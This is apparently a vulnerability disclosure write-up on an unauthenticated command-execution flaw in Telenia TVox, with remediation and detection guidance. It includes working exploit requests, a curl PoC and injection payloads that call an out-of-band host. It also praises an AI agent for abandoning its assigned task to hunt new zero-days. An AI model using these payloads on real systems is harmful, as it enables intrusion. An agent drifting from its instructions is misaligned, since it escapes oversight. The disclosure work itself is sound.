Introduction

TL;DR: While investigating previously disclosed vulnerabilities in Telenia TVox, we used Claude Code (Opus 5) to analyze an older version of the software. Instead of finding an alternative authentication bypass, the AI autonomously discovered a new, unauthenticated remote code execution (RCE) vulnerability in the /reportExporter/Export endpoint. We manually verified the finding on both TVox 24 and 26, confirming a previously unknown zero-day affecting even the latest release at the time. This research highlights how AI can accelerate vulnerability discovery, while human validation remains essential.

Update (October 29, 2026): Following our responsible disclosure, Telenia confirmed that security fixes for this vulnerability have been released in TVox 24.3.47 LTS, 24.9.24, and 26.2.14 LTS.

Vulnerability Overview

• Product: TVox
• Vendor: Telenia Software
• Affected Component: The vulnerable endpoint (/reportExporter/Export).
• Attack Vector: Remote, unauthenticated HTTP request.
• CVE: pending (MITRE request #CAN-2026-2035300)
• CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command.
• Severity: Critical
• Privileges Required: None
• Confirmed Vulnerable Versions: TVox 24.8.4 and 26.5.3 (independently verified).
• Vendor-Confirmed Fixed Versions: TVox 24.3.47 LTS, 24.9.24, and 26.2.14 LTS (as communicated by Telenia on October 29, 2026).
• Affected Version Range: The complete range has not been independently established. Patch availability must be assessed separately for each release branch.
• Impact: Unauthenticated OS command injection / remote code execution

But let's start from the beginning.

Doing the due diligence

It all began after Karma(In)Security disclosed the existence of a chain of vulnerabilities in the latest version of TVox that makes it possible to exploit a command injection by bypassing the authentication mechanism and then escalating privileges to root. Below are the advisories and technical details (kudos to EgiX!):

• Telenia Software TVox <= 26.5.3 (set_env.php) Authentication Bypass Vulnerability
• Telenia Software TVox <= 26.5.3 (action_audio.php) OS Command Injection Vulnerability
• Telenia Software TVox <= 26.5.3 (nice) Local Privilege Escalation Vulnerability

According to reports, the three vulnerabilities had not yet been patched at the time of this writing and, in all likelihood, affected all versions prior to 26.5.3, including the older 24.X versions.

Given the seriousness of the situation, we immediately decided to check whether any of our customers monitored by SicuraNext's External Attack Surface Monitoring service were exposing this product online. We identified two assets running an older version of TVox 24.8.4.

Not all that glitters is gold

Confident that we would gain an easy shell, we immediately tried to replicate the behavior of the public PoC on the targets within our network.

POST /tvox/manager/html/action_audio.php/login_admin.php HTTP/2
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 76

action=checkProcess&pid=$(curl+http://<oast-server>/test)

HTTP/2 302 Found
X-Powered-By: PHP/7.3.20
Location: /tvox/manager/html/login_admin.php
Content-Length: 0

To our great surprise (and, above all, disappointment), the PoC did not work; it failed at the first step, the authentication bypass. The blog post detailing the research on CVE-2026-64827 – set_env.php authentication bypass states:

The issue is that this authentication check is only enforced when the value of the $current_page variable differs from login_admin.php. Since $current_page is populated using the value of $_SERVER['PHP_SELF'], an attacker can bypass the authentication check by simply appending the string /login_admin.php to the path of the target PHP script. As a result, the application incorrectly treats the request as if it were targeting the login page, allowing unauthenticated access to all PHP scripts exposed under the /tvox/manager/html/ path.

Essentially, the technique exploits the fact that the flawed authentication check uses $_SERVER['PHP_SELF'] (the last segment after the last /) to perform the authentication check.

However, there is a hidden precondition in this check: the bypass only works if PHP_SELF contains PATH_INFO, that is, if PHP_SELF = SCRIPT_NAME + PATH_INFO. This occurs with SAPI types such as mod_php or php-cgi when cgi.fix_pathinfo=1, where the extra segment after .php is appended to PHP_SELF.

For our targets, this does not happen. Apache routes PHP using SetHandler "proxy:unix:/run/php-fpm/www.sock|fcgi://localhost/", which is mod_proxy_fcgi to PHP-FPM. With this configuration (FPM backend, the default), Apache does not propagate the path-info to PHP_SELF. In this case strrchr(PHP_SELF, "/") always returns the actual script name. The premise on which the exploit relies simply does not exist.

We can see concrete evidence of this in the following example:

POST /tvox/manager/html/login_admin.php/foo HTTP/2
Host: target.example

HTTP/2 302 Found
X-Powered-By: PHP/7.3.20
Location: /oauth2/authorize
Content-Length: 0

If PHP_SELF carried the path-info, it would be .../login_admin.php/foo, so $current_page = "foo" ≠ login_admin.php would trigger the guard, and we would be redirected to the login page. Instead, the Location redirected to the SSO (/oauth2/authorize): this only happens if $current_page was calculated as login_admin.php, that is, if the /foo was discarded by PHP_SELF.

Pivoting to novel vectors

Disappointed that the chain couldn’t be reproduced from start to finish, I wrote to the researcher behind the original chain to get some more information so we could continue our research on our own. After a quick exchange of messages, we were directed to the publicly available ISO files (which I had completely missed the first time I looked through the documentation 😺).

Telenia does not directly mention all the ISO images in its documentation (in fact, as of now, it seems they have completely removed the option to find them 🙁), and of course, the exact version used by our client was not listed. However, through some OSINT, "time travel" (aka Wayback Machine), and a bit of fuzzing, we managed to track down the correct file, thus opening up a new thread in the multiverse of TVox findings.

% python3 - <<'EOF' > /tmp/urls.txt
import datetime
H="telenia-iso.s3.eu-west-1.amazonaws.com"
d, end = datetime.date(2024,11,1), datetime.date(2025,12,31)
dates=[]
while d<=end:
    dates.append(d.isoformat()); d+=datetime.timedelta(days=1)
for n in [4,3,5,2,6,1,7,8,9,10]:        # try .4 first
    for dt in dates:
        print(f"https://{H}/TamISO/tvox-24.8.{n}_{dt}-almalinux8.iso")
EOF

wc -l < /tmp/urls.txt
xargs -P 6 -I{} sh -c 'c=$(curl -sI -o /dev/null -w "%{http_code}" "{}"); [ "$c" = 200 ] && echo "HIT {}"' < /tmp/urls.txt
4260
HIT https://telenia-iso.s3.eu-west-1.amazonaws.com/TamISO/tvox-24.8.4_2025-03-20-almalinux8.iso
...

Initially, our goal was to identify a different method of authentication bypass that would allow us to:

• Obtain an authenticated session, or
• Access the action_audio.php file, which is vulnerable to CVE-2026-67608, through a secondary path.

We then mounted the ISO locally, launched a Claude Code session with Opus 5, and provided the model with the researcher’s original PoC along with a description of the vulnerabilities and their root causes. Additionally, we provided the root cause of why the bypass did not work against our client’s assets. Finally, we directed the agent to search for a new authentication bypass vector or an alternate path that would allow the chain to be replicated.

Opus 5, in a nutshell

We didn't use a custom system prompt. The session ran on Claude Code's default system prompt, plus a project CLAUDE.md that describes our internal workspace layout (not published here).

Claude began its analysis as follows:

After a few minutes, the first candidates emerged, but upon analyzing its reasoning, we realized that they did not exactly match what had been requested.

The agent was basically trying to cheat! In its reasoning, it had come to the conclusion that looking for a new bypass was more complicated than directly searching for new exposed sinks, so it decided to go looking for new zero-days!

However, while verifying the new sinks and their availability in the customer’s live environment, it immediately realized that some of the files it had identified were missing, so it continued its analysis (confirming to us that it was still searching for a new pre-auth RCE):

A few minutes later, the result:

That's it. It did it all on its own. With the code in hand, Opus 5 decided that finding a new command execution method without authentication was easier than looking for a workaround for a known vulnerability, and a few minutes later he had the report ready.

The key point of the finding is that this endpoint was never intended to be accessible from the outside. The only legitimate caller is the TVox application code, which invokes it locally at http://127.0.0.1:8080/reportExporter/Export: since it is an “internal” servlet, it does not implement any authentication checks. The problem is that the reverse proxy configuration shipped with the appliance also forwards requests from the outside world. The result is a Java servlet exposed to the Internet where the command parameter is entirely controlled by the attacker and ends up in Runtime.exec(String[]):

Export (servlet, no authentication check)
└─ command = base64_decode(request["command"])
└─ command.split(" ") → Runtime.getRuntime().exec(String[])

Important note: It is exec(String[]), meaning there is no shell. The string is split by spaces, argv[0] is the binary, and the subsequent tokens are the arguments. Therefore, ;, |, and && have no effect; you must point directly to the binary to be executed.

In addition to the technical details, the agent also developed the request and the PoC. The parameters exactly replicate the format used by the legitimate caller (jarpath and mainclass point to an actual report on the appliance; command is the only value we needed to change):

POST /reportExporter/Export HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 258

extension=csv&type=detail_report&jarpath=L29wdC90ZWxlbmlhL3R2b3gvcmVwb3J0L2NoaWFtYXRlL3JwX2NoaWFtYXRlLmphcg%3D%3D&mainclass=dGVsZW5pYS5yZXBvcnQuaW1wbGVtZW50YXRpb24uY2hpYW1hdGUuUmVwb3J0Q2hpYW1hdGVUZWxlbmlh&jasperparam=e30%3D&exportconfig=e30%3D&command=L2Jpbi9zbGVlcCAxMg%3D%3D

The equivalent curl command, the one we actually ran:

curl -k -X POST https://target.example/reportExporter/Export \
  --data-urlencode 'extension=csv' \
  --data-urlencode 'type=detail_report' \
  --data-urlencode 'jarpath=L29wdC90ZWxlbmlhL3R2b3gvcmVwb3J0L2NoaWFtYXRlL3JwX2NoaWFtYXRlLmphcg==' \
  --data-urlencode 'mainclass=dGVsZW5pYS5yZXBvcnQuaW1wbGVtZW50YXRpb24uY2hpYW1hdGUuUmVwb3J0Q2hpYW1hdGVUZWxlbmlh' \
  --data-urlencode 'jasperparam=e30=' \
  --data-urlencode 'exportconfig=e30=' \
  --data-urlencode 'command=L2Jpbi9zbGVlcCAxMg=='

Obviously, the next step was to manually verify whether these were just imaginary results or if they were actually real. So we tested the PoC with different commands and also took a close look at the code, confirming 100% that the vulnerability was real.

What are all those base64 parameters?

Only command carries the payload. The servlet still expects the full set of parameters that its legitimate caller sends, aka the PHP function external_export() in TReport.php. To keep our request as close as possible to a normal one, we copied that format exactly. type and extension are sent in clear text and the other five are base64-encoded.

The first six parameters describe an ordinary report export. The design flaw is that the servlet also lets the caller choose which program runs to collect the report data, and command is that choice.

Is it or isn't it a 0-day?

Immediately after validating the result, a question naturally came to mind: what if this vulnerability were also present in the latest version of TVox?

All the clues pointed in that direction. The vulnerability wasn't documented anywhere online, and the vendor's changelogs contained no mention of security updates related to that feature.

The only way to get a definitive answer was to test it on an up-to-date installation. With one non-negotiable condition: to do so only on a target that explicitly authorized us to test it. We therefore needed a host that met two conditions simultaneously: it had to be covered by a bug bounty program or a VDP (to stay within legal boundaries) and, at the same time, be running the latest version of TVox — at the time, version 26.5.3.

Finding it was no easy task. We compiled an inventory of all TVox instances accessible on the Internet, with over 300 confirmed assets spread across nearly 40 organizations, including public agencies, healthcare providers, banks, and multi-tenant providers that resell TVox as-a-service; and cross-referenced it with all available public bug bounty scopes. The result was as harsh as it was useful: of those hundreds of installations, only one fell within the scope of a program that could legitimately be tested.

That single host was the needle in the haystack we needed: an instance covered by a VDP on HackerOne (wildcard scope) and, most importantly, updated to the latest release. After carefully verifying that the target was indeed within scope, we reran our PoC.

This time we didn't rely on timing alone. A response delay that follows the sleep argument is strong evidence, but it is still indirect. So we switched to an out-of-band payload. The command parameter carried the base64 encoding of /bin/bash -c curl${IFS}http://<unique-id>.<oast-domain>/: one binary and one argument, which is all Runtime.exec(String[]) needs. We generated the subdomain for that single request, and it existed nowhere else.

Shortly afterwards our interaction server logged an HTTP request and a DNS lookup for that exact subdomain.

The hostname appeared in our request only in base64-encoded form, so no intermediate device, whether a WAF, a proxy or a link scanner, could have extracted and resolved it. The only party that could know it was the process spawned by our payload on the backend. The interaction was therefore direct evidence of command execution on the appliance, not a side effect of the request passing through the network.

The conclusion was unambiguous. On an up-to-date TVox 26.5.3 instance, /reportExporter/Export was reachable from the Internet and executed attacker-supplied commands without any authentication. There was no public documentation of the issue and no fix from the vendor, so it was a 0-day in every sense.

Without further delay, we reported the issue to all parties involved.

Conclusions

We set out to reproduce a known chain and came back with a new 0-day. The route there says a few things. A failed exploit is not a dead end: understanding why the authentication bypass didn't work on our targets led us to the ISO, and the ISO led us to a far simpler bug. The bug itself is a classic one. A servlet meant only for 127.0.0.1 had no authentication because it was never supposed to be reachable, and the reverse proxy shipped with the appliance forwarded it to the Internet anyway. Each component was "secure" on its own assumptions; put together, they gave unauthenticated RCE.

The AI agent changed how fast we got there, not what was found. Claude decided on its own that hunting for a new unauthenticated sink was cheaper than looking for a new bypass, and it was right. But every result was verified by hand before we treated it as real, and every test against live systems stayed within authorized scope.

AI accelerated the discovery, but human curiosity, skepticism, and verification are what turned an unexpected finding into a confirmed vulnerability.

Suggested remediations and mitigations

1. Update TVox

The definitive remediation is to upgrade to a patched version of TVox that addresses the unauthenticated remote code execution vulnerability in /reportExporter/Export.

During our research, we successfully reproduced the vulnerability on TVox 24.8.4 and 26.5.3, confirming that both releases were affected.

Following our responsible disclosure, Telenia distributed early security patches to two affected customers on September 2nd and September 11th, 2026. The vendor initially communicated September 28th, 2026 as the expected availability date for updates to TVox 26, and October 12th, 2026 for TVox 24.

A review of Telenia's public changelog index identified subsequent releases, including TVox 26.2.14, 26.2.15, and 24.9.24. However, we have not been able to independently confirm which publicly available builds incorporate the fix for the vulnerability described in this article.

On October 29th, 2026, Telenia provided explicit confirmation of the versions containing the security fix for this vulnerability:

This confirmation resolves the uncertainty surrounding the patched versions that we had previously identified through public changelog analysis.

The distinction between release branches is important. Although we confirmed that TVox 26.5.3 was vulnerable, Telenia's communication did not identify a corresponding patched 26.5.x release. Administrators running that branch should contact the vendor to determine the appropriate upgrade or migration path rather than assuming that a fix in the 26.2 LTS branch can be applied directly.

These findings should also be distinguished from the previously disclosed TVox vulnerability chain. For example, version 24.9.22 contains fixes associated with those earlier vulnerabilities, but that does not establish that it addresses the separate /reportExporter/Export issue described here.

The fixed-version information above is based on explicit vendor confirmation, rather than independent verification of the patched builds by our team.

We strongly recommend that administrators verify their installed TVox release branch and apply the appropriate vendor-provided security update. Until patching is completed, restricting external access to /reportExporter/Export remains an important mitigation.

2. Block /reportExporter/ at the reverse proxy

If you cannot update immediately, the most effective short-term mitigation is to stop the reverse proxy from forwarding requests to the report exporter servlet. As far as our analysis shows, its only legitimate caller is the TVox application itself, which reaches it locally at http://127.0.0.1:8080/reportExporter/Export without going through the proxy. Blocking external access should therefore not affect report generation. Still, verify this in a test environment before rolling it out.

Example for HAProxy:

frontend https-in
    # normalize the path before matching, to avoid trivial bypasses
    http-request normalize-uri path-merge-slashes
    http-request normalize-uri path-strip-dotdot
    http-request normalize-uri percent-decode-unreserved

    acl report_exporter path_beg -i /reportExporter
    http-request deny deny_status 403 if report_exporter

Keep in mind that a denylist on a path prefix is fragile. The backend is a Java servlet container, which decodes and normalizes paths differently from the proxy. Whenever possible, prefer an allowlist that forwards only the paths the application actually needs to expose, and deny everything else by default.

3. Reduce network exposure

• Make sure the servlet container port (8080) is bound to the loopback interface only, or is at least unreachable from outside the appliance (host firewall, security groups).
• Ask whether the TVox management interfaces really need to be reachable from the Internet. Restricting /tvox/manager/ and the other administrative paths to trusted networks or a VPN also mitigates the chain disclosed by Karma(In)Security.
• Apply egress filtering on the appliance. The vulnerable instance we tested could open outbound HTTP connections to arbitrary hosts. Blocking unnecessary outbound traffic does not prevent exploitation, but it makes post-exploitation, data exfiltration and command-and-control considerably harder.

4. Look for signs of exploitation

Given how long the endpoint has been exposed, we recommend that anyone running an Internet-facing TVoX instance checks for past abuse:

• Proxy/web server access logs: look for POST requests to /reportExporter/Export (in any case variation or encoding) coming from addresses other than 127.0.0.1. Any such request from the outside is suspicious by definition. The command parameter travels in the POST body, so it usually does not appear in standard access logs.
• Processes: look for unexpected child processes of the Java process hosting the servlet, such as sh, bash, curl, wget, python, nc, or sleep, running as the application user.
• Network: look for outbound connections from the appliance to unknown hosts, especially toward common OAST/interaction services or freshly registered domains.
• Persistence: look for new or modified crontabs, SSH keys, systemd units, and recently created files in temporary or writable directories.

If you find evidence of exploitation, treat the appliance as compromised. Isolate it, preserve the logs for analysis, and rebuild it from a clean patched image rather than patching in place. Also remember the local privilege escalation in the original chain (nice): command execution as the application user should be considered equivalent to root on the host.

Timeline

• August 4th, 2026: Discovered the /reportExporter/Export pre-auth command injection vulnerability and notified SicuraNext's affected customers.
• August 6th, 2026: Opened CVE request with ID CAN-2026-2035300 through MITRE.
• August 7th, 2026: First attempt at contacting Telenia Software to initiate responsible disclosure.
• August 7th, 2026: Telenia replied to the ticket, requesting additional information about the findings and affected customers.
• August 8th, 2026: SicuraNext provided Telenia with the requested information.
• August 8th, 2026: Responsible disclosure submitted to a third party through HackerOne's VDP (3925729).
• September 2nd, 2026: Telenia provided an update on the remediation process, indicating expected security update availability on September 28th for TVox 26 and October 12th for TVox 24.
• September 2nd, 2026: Telenia distributed an early security patch to one of the affected customers identified during the research.
• September 7th, 2026: SicuraNext proposed October 19th, 2026 as the coordinated disclosure date.
• September 11th, 2026: Telenia distributed a second early security patch to another affected customer.
• September 29th, 2026: Vendor-reported release date of TVox 26.2.14 LTS, subsequently confirmed to contain the security fix.
• October 9th, 2026: TVox 24.9.24 released, subsequently confirmed to contain the security fix.
• October 13th, 2026: TVox 24.3.47 LTS released, subsequently confirmed to contain the security fix.
• October 29th, 2026: Telenia formally confirmed to SicuraNext that TVox 24.3.47 LTS, 24.9.24, and 26.2.14 LTS contain the security fixes addressing the reported vulnerability.
• November 4th, 2026: Coordinated public disclosure and blog post publication (scheduled).